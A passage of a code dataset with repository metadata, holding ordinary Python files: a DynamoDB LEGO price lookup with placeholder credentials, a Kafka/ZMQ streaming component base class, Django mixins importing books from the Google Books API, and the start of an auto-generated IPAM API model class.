"usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 40, "usage_type": "name"}, {"api_name": "utils.Encoder", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.Encoder", "line_number": 45, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 41, "usage_type": "name"}, {"api_name": "utils.Encoder", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 49, "usage_type": "name"}, {"api_name": "utils.Encoder", "line_number": 50, "usage_type": "name"}, {"api_name": "utils.Encoder", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 56, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "73238631624", "text": "import boto3\r\nimport time\r\nfrom boto3.dynamodb.conditions import Key, Attr\r\nimport pandas as pd\r\n\r\ndynamodb = boto3.resource('dynamodb', \r\n                        aws_access_key_id = 'XXXXXX',\r\n                        aws_secret_access_key = 'XXXXXXXXX',\r\n                        region_name = 'us-east-2')\r\n\r\n# Functions to get concrete table from aws service\r\n\r\ndef amazon_database(name):\r\n    amazon_table = dynamodb.Table(name)\r\n\r\n    return amazon_table\r\n\r\ntable = amazon_database(\"Lego\")\r\nsmyk_table = amazon_database(\"Lego_smyk\")\r\n\r\n# Function to get all LEGO set title from dynamodb\r\n\r\ndef get_set_title(amazon_table):\r\n\r\n    items = amazon_table.scan(AttributesToGet=['title'])\r\n    items = items['Items']\r\n\r\n    list_of_set_title = []\r\n\r\n    for item in items:\r\n        item = item['title']\r\n\r\n        if item not in list_of_set_title:\r\n            list_of_set_title.append(item)\r\n\r\n    return list_of_set_title\r\n\r\nlist_of_sets = get_set_title(table)\r\n#list_of_sets_smyk = get_set_title(smyk_table)\r\n\r\n# Get prices for concrete set f.e. Ferrari Daytona\r\n\r\ndef get_price_df(amazon_table, set_title):\r\n    \r\n    response = amazon_table.scan(\r\n        FilterExpression = Attr('title').eq(set_title)\r\n    )\r\n\r\n    response = response['Items']\r\n\r\n    list_of_modified_items = []\r\n\r\n    for item in response:\r\n        tuple_single_item = tuple()\r\n\r\n        tuple_single_item = (item['Date'], item['Price'])\r\n\r\n        list_of_modified_items.append(tuple_single_item)\r\n\r\n    df = pd.DataFrame(list_of_modified_items, columns=['Date', 'Price'])\r\n    df['Price'] = pd.to_numeric(df['Price'])\r\n\r\n    df = df.drop_duplicates(subset=['Date'])\r\n    df = df.sort_values(by='Date')\r\n    df = df.reset_index()\r\n    df = df.drop(['index'], axis=1)\r\n\r\n    return df\r\n\r\n# Get min historical set price + date\r\n\r\ndef get_min_price(df):\r\n    filtered_df = df[df['Price'] == df['Price'].min()]\r\n    filtered_df = filtered_df.reset_index()\r\n    filtered_df = filtered_df.drop(['index'], axis=1)\r\n\r\n    if len(filtered_df) > 1:\r\n        min_price = filtered_df['Price'].min()\r\n        first_date = filtered_df['Date'][0]\r\n        last_date = filtered_df['Date'][len(filtered_df) - 1]\r\n\r\n        return min_price, first_date, last_date\r\n    else:\r\n        min_price = filtered_df['Price'].min()\r\n        historical_min = filtered_df[\"Date\"][0]\r\n\r\n        return min_price, historical_min\r\n\r\n    #return filtered_df\r\n\r\n\r\n    \r\n\r\n\r\n", "repo_name": "threaces/Lego-price-application", "sub_path": "get_data.py", "file_name": "get_data.py", "file_ext": "py", "file_size_in_byte": 2414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "boto3.resource", "line_number": 6, "usage_type": "call"}, {"api_name": "boto3.dynamodb.conditions.Attr", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "28212251518", "text": "import json\nimport socket\nimport traceback\nfrom abc import ABC, abstractmethod\nfrom datetime import datetime\nfrom enum import Enum\nfrom logging import Logger\nfrom os import getenv\nfrom typing import Dict, Optional\n\nfrom confluent_kafka import KafkaError, KafkaException, Producer\nfrom docarray import Document, DocumentArray\nfrom simpletimer import StopwatchKafka\n\n\nclass Broker(str, Enum):\n    kafka: str = \"kafka\"\n    zmq: str = \"zmq\"\n    none: str = \"\"\n\n\nclass Component(ABC):\n    def __init__(\n        self, msg_broker: Optional[Broker] = None, name: str = \"baseline-component\"\n    ):\n        self.logger = Logger(name)\n\n        self.conf = {\n            \"bootstrap.servers\": getenv(\"KAFKA_ADDRESS\", \"127.0.0.1:9092\"),\n            \"client.id\": socket.gethostname(),\n            \"message.max.bytes\": 1000000000,\n        }\n        self.metrics_topic = getenv(\"KAFKA_METRICS_TOPIC\", \"metrics\")\n        self.executor_name = name\n        self.executor_id = self.executor_name + \"-\" + datetime.now().isoformat()\n\n        # Set up producer for Kafka metrics\n        self.timer = StopwatchKafka(\n            bootstrap_servers=getenv(\"KAFKA_ADDRESS\", \"127.0.0.1:9092\"),\n            kafka_topic=self.metrics_topic,\n            metadata={\"executor\": self.executor_name},\n            kafka_parition=-1,\n        )\n\n        self.last_frame: Dict[str, str] = {}\n        self.metric_producer = Producer(self.conf)\n\n    @abstractmethod\n    def __call__(\n        self, data: DocumentArray, parameters: Optional[dict] = {}, **kwargs\n    ) -> DocumentArray:\n        return data\n\n    def serve(self, send_tensors: bool = True, filter_stream: Optional[str] = None):\n        \"\"\"\n        This is a wrapper around __call__ that will do the following:\n\n        1. Consume using either Kafka or ZMQ\n        2. Process consumed data into DocArray\n        3. Pass DocArray to __call__\n        4. Process output\n        5. Produce\n\n        The choice of processor will depend on an environment variable\n        \"\"\"\n        if self.broker == Broker.zmq:\n            self._process_zmq(send_tensors, filter_stream)\n        elif self.broker == Broker.kafka:\n            self._process_kafka(send_tensors, filter_stream)\n\n    def _process_zmq(\n        self, send_tensors: bool = True, filter_stream: Optional[str] = None\n    ):\n        try:\n            while True:\n                # Get frames\n                data = self.consumer.receive(timeout=1)\n                if data is None:\n                    continue\n                # Convert metadata to docarray\n                assert isinstance(data, bytes), \"Is byte\"\n                frame_docs = DocumentArray.from_bytes(data)\n                if filter_stream is not None:\n                    frame_docs = frame_docs.find(\n                        {\"tags__output_stream\": {\"$eq\": filter_stream}}, limit=None\n                    )\n                if len(frame_docs) == 0:\n                    continue  # skip frames if pod not meant to receive them\n                result = self._call_main(frame_docs, send_tensors)\n                # Process Results\n                if self.producer:\n                    self.producer.zmq_socket.send(result.to_bytes())\n        except (SystemExit, KeyboardInterrupt):\n            print(\"Exit due to keyboard interrupt\")\n        except Exception as ex:\n            print(\"Python error with no Exception handler:\")\n            print(\"Traceback error:\", ex)\n            traceback.print_exc()\n        finally:\n            self.consumer.close()\n\n    def _process_kafka(\n        self, send_tensors: bool = True, filter_stream: Optional[str] = None\n    ):\n        try:\n            if not self.consume_topic:\n                raise ValueError(\"No consumer topic set!\")\n            self.consumer.subscribe([self.consume_topic])\n            while True:\n                # Get frames\n                data = self.consumer.poll(timeout=1)\n                if data is None:\n                    continue\n                if data.error():\n                    if data.error().code() == KafkaError._PARTITION_EOF:\n                        continue\n                    else:\n                        raise KafkaException(data.error())\n                # Convert metadata to docarray\n                frame_docs = DocumentArray.from_bytes(data.value())\n                if filter_stream is not None:\n                    frame_docs = frame_docs.find(\n                        {\"tags__output_stream\": {\"$eq\": filter_stream}}, limit=None\n                    )\n                if len(frame_docs) == 0:\n                    continue  # skip frames if pod not meant to receive them\n                result = self._call_main(frame_docs, send_tensors)\n                # Process Results\n                if self.produce_topic:\n                    self.producer.produce(self.produce_topic, value=result.to_bytes())\n                    self.producer.poll(0)\n        except (SystemExit, KeyboardInterrupt):\n            print(\"Exit due to keyboard interrupt\")\n        except Exception as ex:\n            print(\"Python error with no Exception handler:\")\n            print(\"Traceback error:\", ex)\n            traceback.print_exc()\n        finally:\n            self.consumer.close()\n\n    def _call_main(\n        self, docs: DocumentArray, send_tensors: bool = True\n    ) -> DocumentArray:\n        if not send_tensors:\n            if docs[..., \"uri\"] is not None:\n                docs[...].apply(self._load_uri_to_image_tensor)\n\n        # NOTE: Assume only 1 doc inside docarray\n        # Check for dropped frames\n        frame_id = docs[0].tags[\"frame_id\"]\n        output_stream = docs[0].tags[\"output_stream\"]\n        video_source = docs[0].tags[\"video_path\"]\n        if output_stream not in self.last_frame:\n            self.last_frame[output_stream] = frame_id\n        if frame_id < self.last_frame[output_stream]:\n            self.metric_producer.produce(\n                self.metrics_topic,\n                value=json.dumps(\n                    {\n                        \"type\": \"dropped_frame\",\n                        \"timestamp\": datetime.now().isoformat(),\n                        \"executor\": self.executor_name,\n                        \"executor_id\": self.executor_id,  # contain time the exec was initialized\n                        \"frame_id\": frame_id,\n                        \"output_stream\": output_stream,\n                        \"video_source\": video_source,\n                    }\n                ).encode(\"utf-8\"),\n            )\n            self.metric_producer.poll(0)\n            self.logger.warn(\"Dropped frame\")\n\n        with self.timer(\n            metadata={\n                \"event\": \"overall\",\n                \"frame_id\": frame_id,\n                \"video_path\": video_source,\n                \"output_stream\": output_stream,\n                \"timestamp\": datetime.now().isoformat(),\n                \"executor\": self.executor_name,\n                \"executor_id\": self.executor_id,\n            }\n        ):\n            docs = self.__call__(docs)\n        if not send_tensors:\n            docs[...].tensors = None\n        return docs\n\n    @staticmethod\n    def _load_uri_to_image_tensor(doc: Document) -> Document:\n        if doc.uri:\n            doc = doc.load_uri_to_image_tensor()\n            # NOTE: Testing shows not necessary and actually breaks stuff\n            # Convert channels from NHWC to NCHW\n            # doc.tensor = np.transpose(doc.tensor, (2, 1, 0))\n        return doc\n", "repo_name": "Tien-Cheng/incubation-prep", "sub_path": "incubation_prep/client/baseline/components/component.py", "file_name": "component.py", "file_ext": "py", "file_size_in_byte": 7408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "enum.Enum", "line_number": 16, "usage_type": "name"}, {"api_name": "abc.ABC", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 24, "usage_type": "name"}, {"api_name": "logging.Logger", "line_number": 26, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 29, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "name"}, {"api_name": "simpletimer.StopwatchKafka", "line_number": 38, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 39, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 45, "usage_type": "name"}, {"api_name": "confluent_kafka.Producer", "line_number": 46, "usage_type": "call"}, {"api_name": "docarray.DocumentArray", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 50, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 48, "usage_type": "name"}, {"api_name": "docarray.DocumentArray", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 54, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 72, "usage_type": "name"}, {"api_name": "docarray.DocumentArray.from_bytes", "line_number": 82, "usage_type": "call"}, {"api_name": "docarray.DocumentArray", "line_number": 82, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 98, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 103, "usage_type": "name"}, {"api_name": "confluent_kafka.KafkaError._PARTITION_EOF", "line_number": 115, "usage_type": "attribute"}, {"api_name": "confluent_kafka.KafkaError", "line_number": 115, "usage_type": "name"}, {"api_name": "confluent_kafka.KafkaException", "line_number": 118, "usage_type": "call"}, {"api_name": "docarray.DocumentArray.from_bytes", "line_number": 120, "usage_type": "call"}, {"api_name": "docarray.DocumentArray", "line_number": 120, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 137, "usage_type": "call"}, {"api_name": "docarray.DocumentArray", "line_number": 142, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 158, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 161, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 179, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 179, "usage_type": "name"}, {"api_name": "docarray.DocumentArray", "line_number": 143, "usage_type": "name"}, {"api_name": "docarray.Document", "line_number": 190, "usage_type": "name"}]}
{"seq_id": "41280847089", "text": "import logging\nfrom datetime import datetime\n\nfrom django.db.models import Q\nfrom django.http import Http404\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\nfrom ..core.utils import deserialize_response, get_response, BulkCreateManager\nfrom .models import Book, Author, Category\nfrom .exceptions import BooksNotFound, IncorrectPublishedDateOfBook, BookDoesNotExists, BookParserException, \\\n    InvalidQueryParameterInBody\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n\nclass BookAuthorNameMixin(object):\n    def filter_by_author_name(self, queryset):\n        \"\"\"\n        Return filtered queryset by author's name\n        Allow multiple filtering\n        \"\"\"\n        authors_names = self.request.GET.getlist('author')\n        if authors_names:\n            queries = [Q(authors__name__icontains=author_name) for author_name in authors_names]\n            query = queries.pop()\n            for item in queries:\n                query |= item\n            queryset = queryset.filter(query)\n        return queryset\n\n\nclass BookPublishedDateMixin(object):\n    def filter_by_published_date(self, queryset):\n        \"\"\"\n        Return filtered queryset by published_date\n        Allow multiple filtering\n        \"\"\"\n        published_dates = self.request.GET.getlist('published_date')\n        if published_dates:\n            years = []\n            try:\n                for date in published_dates:\n                    year = int(date)\n                    if datetime.now().year >= year > 0:\n                        years.append(year)\n                if years:\n                    queryset = queryset.filter(published_date__year__in=years)\n                else:\n                    raise BooksNotFound\n            except (TypeError, ValueError):\n                raise BooksNotFound\n        return queryset\n\n\nclass BookListMixin(BookPublishedDateMixin, BookAuthorNameMixin):\n    def filter_queryset(self, queryset):\n        \"\"\"\n        Run filters on queryset\n        \"\"\"\n        queryset = self.filter_by_published_date(queryset)\n        queryset = self.filter_by_author_name(queryset)\n        return queryset\n\n    def get_queryset(self):\n        \"\"\"\n        Get queryset and apply custom publish date filter\n        \"\"\"\n        queryset = self.model.objects.all()\n        queryset = self.filter_queryset(queryset)\n\n        return queryset\n\n\nclass BookRetrieveMixin:\n    def get_object(self, *args, **kwargs):\n        \"\"\"\n        Get\n        \"\"\"\n        book_id = kwargs['book_id']\n        try:\n            return self.model.objects.get(book_id=book_id)\n        except self.model.DoesNotExist:\n            raise BooksNotFound\n\n\nclass BookDownloader:\n    source_url = \"https://www.googleapis.com/books/v1/volumes?q=\"\n\n    def __init__(self, query):\n\n        # \"q\" parameter from POST body\n        self.query = query\n\n        # A json response placeholder\n        self.response = None\n\n        # Dictionaries of books from json document and of book currently being created\n        self.books, self.book_dict = {}, {}\n\n        # List of ids of books from json document\n        self.books_ids = []\n\n        # Currently iterated book from json document\n        self.book = None\n\n        # List of not existing and already existing in database books\n        self.existing, self.not_existing = [], []\n\n        # URL from which json is downloaded\n        self.url = self.source_url + (self.query or '')\n\n        # New books bulk insert manager\n        self.bulk_manager = BulkCreateManager()\n\n        # List of books to update\n        self.objects_to_update = []\n\n        # Lists of categories and authors from ManyToMany relations to add after saving objects\n        self.book_category_m2m_list, self.book_author_m2m_list = [], []\n\n        # Lists of created/updated authors and categories (m2m relation of books)\n        self.authors, self.categories = [], []\n\n    def get_books(self):\n        \"\"\"\n        Get and deserialize response.\n        Return books dictionary if success, else if failed raise BooksNotFound.\n        \"\"\"\n\n        # Get and set response. May raise GetResponseError.\n        self.set_response()\n\n        volumes = deserialize_response(self.response)\n        if 'items' in volumes:\n            books = volumes['items']\n            return books\n        else:\n            logger.error(f\"Books not found\")\n            raise BooksNotFound\n\n    def get_information(self):\n        \"\"\"\n        Get book information.\n        Create or update many 2 many relation objects.\n        \"\"\"\n        self.book_dict['book_id'] = self.book['id']\n\n        if 'title' in self.book['volumeInfo']:\n            self.book_dict['title'] = self.book['volumeInfo']['title']\n\n        # When book is created, M2M related authors/categories need to be added later due to bulk insert\n        # When book is updated, authors/categories can be added immediately (no bulk operation)\n        # Authors/Categories to be added to self.book_dict later\n        if 'authors' in self.book['volumeInfo']:\n            self.authors = self.update_or_create_authors()\n        if 'categories' in self.book['volumeInfo']:\n            self.categories = self.update_or_create_categories()\n        if 'imageLinks' in self.book['volumeInfo']:\n            if 'thumbnail' in self.book['volumeInfo']['imageLinks']:\n                self.book_dict['thumbnail'] = self.book['volumeInfo']['imageLinks']['thumbnail']\n        if 'publishedDate' in self.book['volumeInfo']:\n            self.book_dict['published_date'] = self.get_published_date()\n        if 'averageRating' in self.book['volumeInfo']:\n            self.book_dict['average_rating'] = self.book['volumeInfo']['averageRating']\n        if 'ratingsCount' in self.book['volumeInfo']:\n            self.book_dict['ratings_count'] = self.book['volumeInfo']['ratingsCount']\n\n    def update_or_create_authors(self):\n        \"\"\"\n        Update or create Author objects and return a list of these objects.\n        \"\"\"\n        objects = []\n        authors = self.book['volumeInfo']['authors']\n        for author in authors:\n            obj, created = Author.objects.update_or_create(name=author)\n            objects.append(obj)\n\n        return objects\n\n    def update_or_create_categories(self):\n        \"\"\"\n        Update or create Category objects and return a list of these objects.\n        \"\"\"\n        objects = []\n        categories = self.book['volumeInfo']['categories']\n        for category in categories:\n            obj, created = Category.objects.update_or_create(name=category)\n            objects.append(obj)\n        return objects\n\n    def get_published_date(self):\n        \"\"\"\n        Get published date from books dict which is based on source json.\n        Set exact_date if provided full date\n        \"\"\"\n        published_date_str = self.book['volumeInfo']['publishedDate']\n        try:\n            if len(published_date_str) == 4:\n                pattern = '%Y'\n            elif len(published_date_str) == 7:\n                pattern = '%Y-%m'\n            else:\n                pattern, self.book_dict['exact_date'] = '%Y-%m-%d', True\n\n            published_date = datetime.strptime(published_date_str, pattern)\n            return published_date\n\n        except (ValueError, TypeError) as err:\n            logger.error(f'Incorrect published date \"{published_date_str}\" for book - {err}')\n            raise IncorrectPublishedDateOfBook\n\n    def get_books_ids(self):\n        \"\"\"\n        Get new books ids from book dict.\n        Purpose: To check later if already exists in the database\n        \"\"\"\n        ids = []\n        for book in self.books:\n            if 'id' in book:\n                ids.append(book['id'])\n        return ids\n\n    def get_existing(self):\n        \"\"\"\n        Return list of ids of already existing books in database\n        \"\"\"\n        return list(Book.get_ids_which_already_exists(self.books_ids))\n\n    def get_not_existing(self):\n        \"\"\"\n        Return list of ids of not existing yet books,\n        which is based on list of new and already existing books\n        \"\"\"\n        return [item for item in self.books_ids if item not in self.existing]\n\n    def create_new_books(self):\n        \"\"\"\n        Commit bulk inserts\n        \"\"\"\n        self.bulk_manager.done()\n\n    def create_m2m_book_authors(self):\n        \"\"\"\n        Create many2many relation objects for authors of the books\n        \"\"\"\n        BookAuthor = Book.authors.through\n        BookAuthor.objects.bulk_create(\n            [BookAuthor(\n                book_id=book.id,\n                author_id=author.id\n            )\n                for book, author in self.book_author_m2m_list]\n        )\n        self.book_author_m2m_list = []\n\n    def create_m2m_book_categories(self):\n        \"\"\"\n            Create many2many relation objects for categories of the books\n        \"\"\"\n        BookCategory = Book.categories.through\n        BookCategory.objects.bulk_create(\n            [BookCategory(\n                book_id=book.id,\n                category_id=category.id\n            )\n                for book, category in self.book_category_m2m_list]\n        )\n        self.book_category_m2m_list = []\n\n    def create_m2m_objects(self):\n        \"\"\"\n        Create many2many relation objects of the books\n        \"\"\"\n        self.create_m2m_book_authors()\n        self.create_m2m_book_categories()\n\n    def update_existing_book(self):\n        \"\"\"\n        Update existing book.\n        Raise Http404 and BookDoesNotExists if book does not exists.\n        \"\"\"\n        try:\n            # Try to get book object to update - raise an exception failed\n            updated_book = get_object_or_404(Book, book_id=self.book_dict['book_id'])\n            # Update modified book\n            for attr, value in self.book_dict.items():\n                setattr(updated_book, attr, value)\n            updated_book.save()\n\n            # Update m2m relations\n            updated_book.authors.set(self.authors)\n            updated_book.categories.set(self.categories)\n\n        except Http404 as err:\n            logger.error(f\"Book {self.book_dict['id']} does not exists - {err}\")\n            raise BookDoesNotExists\n\n    def manage_not_existing_book(self):\n        \"\"\"\n        Manage not existing yet book:\n        - create new book and add to bulk manager\n        - commit with bulk create if batch size is exceeded\n        \"\"\"\n        # Create new Book object, wait with commit\n        new_book = Book(**self.book_dict)\n\n        # Add newly created book to bulk insert manager\n        # Commit when batch chuck size exceeded (init parameter)\n        # Else add book to waiting queue\n        self.bulk_manager.add(new_book)\n\n        # Add authors and categories to m2m lists in order to create object\n        self.set_m2m_lists(new_book)\n\n    def manage_existing_book(self):\n        \"\"\"\n        Set M2M fields (authors, categories) and update existing book\n        \"\"\"\n        self.update_existing_book()\n\n    def set_response(self):\n        self.response = get_response(self.url)\n\n    def set_books_ids(self):\n        self.books_ids = self.get_books_ids()\n\n    def set_books(self):\n        self.books = self.get_books()\n\n    def set_existing_books(self):\n        self.existing = self.get_existing()\n\n    def set_not_existing_books(self):\n        self.not_existing = self.get_not_existing()\n\n    def set_m2m_lists(self, new_book):\n        self.book_author_m2m_list += [[new_book, author] for author in self.authors]\n        self.book_category_m2m_list += [[new_book, category] for category in self.categories]\n\n    def perform_create(self):\n        \"\"\"\n        Create/update books on two ways.\n        Logic split into operations on existing and new books duo performance improvement\n        \"\"\"\n        self.set_books()  # Try to get books from source and raise BooksNotFound if failed\n        self.set_books_ids()  # Get ids of all new books\n        self.set_existing_books()  # Mark already existing books\n        self.set_not_existing_books()  # Mark new books\n\n        # Gather book information in loop\n        for book in self.books:\n            self.book = book\n\n            # Get book data - missing anything critical breaks iteration\n            try:\n                self.get_information()\n            except KeyError as err:\n                logger.error(f\"Incorrect input data. Critical book data is not provided - {err}\")\n                raise BookParserException\n\n            if self.book_dict['book_id'] in self.existing:\n                self.manage_existing_book()\n            else:\n                self.manage_not_existing_book()\n\n        # Try to bulk create new books and m2m relation objects if new books exist\n        # New objects could be already created if batch size was reached\n        if self.not_existing:\n            self.create_new_books()\n\n            # Create authors and categories ManyToMany relation objects and add to M2M lists.\n            self.create_m2m_objects()\n\n\nclass BookCreateUpdateMixin(object):\n    \"\"\"\n    Create/update Book model instances.\n    \"\"\"\n\n    @staticmethod\n    def get_parameter(request):\n        \"\"\"\n        Get and set POST request \"q\" parameter.\n        Return value of parameter if success, else raise InvalidQueryParameterInBody exception\n        \"\"\"\n        query = request.POST.get(\"q\", \"\")\n        if not query:\n            raise InvalidQueryParameterInBody\n        return query\n\n    def create_or_update(self, request, *args, **kwargs):\n        \"\"\"\n        Process request to create/update books.\n        Return Response with status code 201 if success.\n        \"\"\"\n        # Get query \"q\" parameter. May raise InvalidQueryParameterInBody exception\n        query = self.get_parameter(request)\n\n        # Proper create/update operation\n        BookDownloader(query=query).perform_create()\n\n        # Return success response with 201 code if books has been created/updated\n        return Response(f\"Success: q={query}\", status=status.HTTP_201_CREATED)\n", "repo_name": "mtolkacz/bookject", "sub_path": "app/bookject/books/mixins.py", "file_name": "mixins.py", "file_ext": "py", "file_size_in_byte": 14007, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "name"}, {"api_name": "exceptions.BooksNotFound", "line_number": 52, "usage_type": "name"}, {"api_name": "exceptions.BooksNotFound", "line_number": 54, "usage_type": "name"}, {"api_name": "exceptions.BooksNotFound", "line_number": 86, "usage_type": "name"}, {"api_name": "core.utils.BulkCreateManager", "line_number": 116, "usage_type": "call"}, {"api_name": "core.utils.deserialize_response", "line_number": 136, "usage_type": "call"}, {"api_name": "exceptions.BooksNotFound", "line_number": 142, "usage_type": "name"}, {"api_name": "models.Author.objects.update_or_create", "line_number": 178, "usage_type": "call"}, {"api_name": "models.Author.objects", "line_number": 178, "usage_type": "attribute"}, {"api_name": "models.Author", "line_number": 178, "usage_type": "name"}, {"api_name": "models.Category.objects.update_or_create", "line_number": 190, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 190, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 190, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 208, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 208, "usage_type": "name"}, {"api_name": "exceptions.IncorrectPublishedDateOfBook", "line_number": 213, "usage_type": "name"}, {"api_name": "models.Book.get_ids_which_already_exists", "line_number": 230, "usage_type": "call"}, {"api_name": "models.Book", "line_number": 230, "usage_type": "name"}, {"api_name": "models.Book.authors", "line_number": 249, "usage_type": "attribute"}, {"api_name": "models.Book", "line_number": 249, "usage_type": "name"}, {"api_name": "models.Book.categories", "line_number": 263, "usage_type": "attribute"}, {"api_name": "models.Book", "line_number": 263, "usage_type": "name"}, {"api_name": "rest_framework.generics.get_object_or_404", "line_number": 287, "usage_type": "call"}, {"api_name": "models.Book", "line_number": 287, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 297, "usage_type": "name"}, {"api_name": "exceptions.BookDoesNotExists", "line_number": 299, "usage_type": "name"}, {"api_name": "models.Book", "line_number": 308, "usage_type": "call"}, {"api_name": "core.utils.get_response", "line_number": 325, "usage_type": "call"}, {"api_name": "exceptions.BookParserException", "line_number": 362, "usage_type": "name"}, {"api_name": "exceptions.InvalidQueryParameterInBody", "line_number": 391, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 406, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 406, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 406, "usage_type": "name"}]}
{"seq_id": "73909670344", "text": "# coding: utf-8\n\n\"\"\"\n    IP Address Management API\n\n    The IPAM/DHCP Application is a BloxOne DDI service providing IP address management and DHCP protocol features. The IPAM component provides visibility into and provisioning tools to manage networking spaces, monitoring and reporting of entire IP address infrastructures, and integration with DNS and DHCP protocols. The DHCP component provides DHCP protocol configuration service with on-prem host serving DHCP protocol. It is part of the full-featured, DDI cloud solution that enables customers to deploy large numbers of protocol servers to deliver DNS and DHCP throughout their enterprise network.     # noqa: E501\n\n    OpenAPI spec version: v1\n    \n    Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re  # noqa: F401\n\nimport six\n\n\nclass IpamsvcASM(object):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    \"\"\"\n    Attributes:\n      swagger_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n    swagger_types = {\n        'back_end': 'str',\n        'back_start': 'str',\n        'both_end': 'str',\n        'both_start': 'str',\n        'front_end': 'str',\n        'front_start': 'str',\n        'growth': 'int',\n        'id': 'str',\n        'lookahead': 'int',\n        'range_end': 'str',\n        'range_id': 'str',\n        'range_start': 'str',\n        'subnet_address': 'str',\n        'subnet_cidr': 'int',\n        'subnet_direction': 'str',\n        'subnet_id': 'str',\n        'subnet_range': 'str',\n        'subnet_range_end': 'str',\n        'subnet_range_start': 'str',\n        'suppress': 'str',\n        'suppress_time': 'int',\n        'threshold_utilization': 'int',\n        'update': 'str',\n        'utilization': 'int'\n    }\n\n    attribute_map = {\n        'back_end': 'back_end',\n        'back_start': 'back_start',\n        'both_end': 'both_end',\n        'both_start': 'both_start',\n        'front_end': 'front_end',\n        'front_start': 'front_start',\n        'growth': 'growth',\n        'id': 'id',\n        'lookahead': 'lookahead',\n        'range_end': 'range_end',\n        'range_id': 'range_id',\n        'range_start': 'range_start',\n        'subnet_address': 'subnet_address',\n        'subnet_cidr': 'subnet_cidr',\n        'subnet_direction': 'subnet_direction',\n        'subnet_id': 'subnet_id',\n        'subnet_range': 'subnet_range',\n        'subnet_range_end': 'subnet_range_end',\n        'subnet_range_start': 'subnet_range_start',\n        'suppress': 'suppress',\n        'suppress_time': 'suppress_time',\n        'threshold_utilization': 'threshold_utilization',\n        'update': 'update',\n        'utilization': 'utilization'\n    }\n\n    def __init__(self, back_end=None, back_start=None, both_end=None, both_start=None, front_end=None, front_start=None, growth=None, id=None, lookahead=None, range_end=None, range_id=None, range_start=None, subnet_address=None, subnet_cidr=None, subnet_direction=None, subnet_id=None, subnet_range=None, subnet_range_end=None, subnet_range_start=None, suppress=None, suppress_time=None, threshold_utilization=None, update=None, utilization=None):  # noqa: E501\n        \"\"\"IpamsvcASM - a model defined in Swagger\"\"\"  # noqa: E501\n\n        self._back_end = None\n        self._back_start = None\n        self._both_end = None\n        self._both_start = None\n        self._front_end = None\n        self._front_start = None\n        self._growth = None\n        self._id = None\n        self._lookahead = None\n        self._range_end = None\n        self._range_id = None\n        self._range_start = None\n        self._subnet_address = None\n        self._subnet_cidr = None\n        self._subnet_direction = None\n        self._subnet_id = None\n        self._subnet_range = None\n        self._subnet_range_end = None\n        self._subnet_range_start = None\n        self._suppress = None\n        self._suppress_time = None\n        self._threshold_utilization = None\n        self._update = None\n        self._utilization = None\n        self.discriminator = None\n\n        if back_end is not None:\n            self.back_end = back_end\n        if back_start is not None:\n            self.back_start = back_start\n        if both_end is not None:\n            self.both_end = both_end\n        if both_start is not None:\n            self.both_start = both_start\n        if front_end is not None:\n            